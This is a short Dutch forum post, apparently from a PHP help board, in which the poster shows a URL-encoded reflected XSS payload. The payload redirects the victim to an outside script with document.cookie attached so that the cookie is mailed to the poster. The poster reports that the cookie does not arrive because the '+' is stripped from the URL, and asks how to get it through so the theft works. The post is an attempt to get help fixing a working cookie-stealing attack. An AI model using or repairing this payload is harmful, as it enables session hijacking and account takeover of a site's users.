PHP ver gevorderde |
|
Niets met sql injection te maken, maar het gaat toch over beveiliging.
pagina.php?k=%3Cscript%3Edocument.location.replace('http://domein.be/sendmail.php?q='+document.cookie);%3C/script%3E'
pagina.php?k=%3Cscript%3Edocument.location.replace('http://domein.be/sendmail.php?q='+document.cookie);%3C/script%3E'
Dus dan wordt er een mail met de cookie gegevens verzonden en kan je die overnemen. Maar het probleem is dat het verzenden van de mail wel lukt, maar de cookies komen niet mee. Wanneer je dan in de bron gaat kijken dan zie je hetgene wat in in de url hebt opgegeven, alleen zonder +. Die plus komt er dus niet mee door. Je kan natuurlijk ipv van een + de html Special Characters invullen, maar dan werkt javascript weer niet.
Is dat dan ook niet mogelijk? Of kan je op een andere manier een + mee in de variable meegeven?
// Anders: Is het mogelijk een een + mee te geven in een url, zonder Html Special Characters te gebruiken? ?p=+ werkt bijvoorbeeld niet. Het dient om 2 variable in javascript samen te voegen. |